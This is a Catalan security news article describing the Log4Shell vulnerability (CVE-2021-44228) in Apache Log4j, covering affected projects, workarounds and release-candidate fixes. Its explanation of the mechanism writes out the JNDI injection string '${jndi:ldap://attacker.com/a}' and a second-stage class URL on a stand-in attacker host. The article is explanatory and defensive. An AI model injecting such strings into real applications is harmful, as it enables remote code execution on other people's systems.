Vulnerabilitat catastròfica a Apache Log4j que afecta molts projectes Java

A Apache Log4j, un marc popular per organitzar el registre en aplicacions Java, s'ha identificat una vulnerabilitat crítica que permet executar codi arbitrari quan s'escriu un valor amb un format especial en el format "{jndi:URL}" al registre. L'atac es pot dur a terme en aplicacions Java que registren valors rebuts de fonts externes, per exemple, quan es mostren valors problemàtics en missatges d'error.

Cal assenyalar que gairebé tots els projectes que utilitzen marcs com Apache Struts, Apache Solr, Apache Druid o Apache Flink es veuen afectats pel problema, inclosos Steam, Apple iCloud, clients i servidors de Minecraft. S'espera que la vulnerabilitat pugui provocar una onada d'atacs massius a aplicacions corporatives, repetint la història de vulnerabilitats crítiques en el marc Apache Struts, que, segons una estimació aproximada, s'utilitza en aplicacions web pel 65% de Fortune. 100 empreses, inclosos els intents d'escanejar la xarxa per detectar sistemes vulnerables.

El problema s'agreuja pel fet que ja s'ha publicat un exploit, però encara no s'han compilat les solucions per a les branques estables. L'identificador CVE encara no s'ha assignat. La correcció només s'inclou a la branca de prova log4j-2.15.0-rc1. Com a solució alternativa per bloquejar la vulnerabilitat, es recomana establir el paràmetre log4j2.formatMsgNoLookups com a true.

El problema va ser causat pel fet que log4j admet el processament de màscares especials "{}" a les línies de sortida al registre, en les quals es podrien executar consultes JNDI (Java Naming and Directory Interface). L'atac es redueix a passar una cadena amb la substitució "${jndi:ldap://attacker.com/a}", en processar quin log4j enviarà una sol·licitud LDAP per al camí a la classe Java al servidor attacker.com . El camí que retorna el servidor de l'atacant (per exemple, http://second-stage.attacker.com/Exploit.class) es carregarà i s'executarà en el context del procés actual, que permet a l'atacant executar codi arbitrari al sistema amb els drets de l'aplicació actual.

Addendum 1: La vulnerabilitat té assignat l'identificador CVE-2021-44228.

Addendum 2: s'ha identificat una manera d'evitar la protecció afegida per la versió log4j-2.15.0-rc1. S'ha proposat una nova actualització, log4j-2.15.0-rc2, amb una protecció més completa contra la vulnerabilitat. El codi destaca el canvi associat a l'absència d'una terminació anormal en el cas d'utilitzar un URL JNDI amb un format incorrecte.

Font: opennet.ru

Afegeix comentari